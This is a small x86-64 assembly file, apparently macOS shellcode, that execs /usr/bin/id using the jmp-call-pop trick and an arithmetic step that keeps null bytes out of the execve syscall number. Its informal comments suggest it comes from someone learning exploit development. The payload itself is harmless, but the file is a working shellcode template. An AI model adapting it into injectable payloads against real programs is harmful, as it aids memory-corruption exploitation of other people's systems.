BITS 64

section .text
global start
start:
  jmp     string
exec:
  pop      rdi             ; grab /usr/bin/id's address
  mov      r9, 0x311114c   ; = syscall + 0x11111111
  mov      r8, 0x1111111   ; using subtraction to get it null free
  sub      r9, r8          ; = 0x200003b, execve syscall
  mov      rax, r9         ; put it in rax for the syscall
  xor      rdx, rdx        ; nulls to delimit the binary string
  push     rdx             ; push nulls
  push     rdi             ; then push string
  mov      rsi, rsp        ; idk what this does
  syscall                  ; BAM!! 
string:
  call      exec           ; call exec so we have the ret address pointing to the string
  db       '/usr/bin/id'   ; if the string's not on the end of the prog, you get bus errors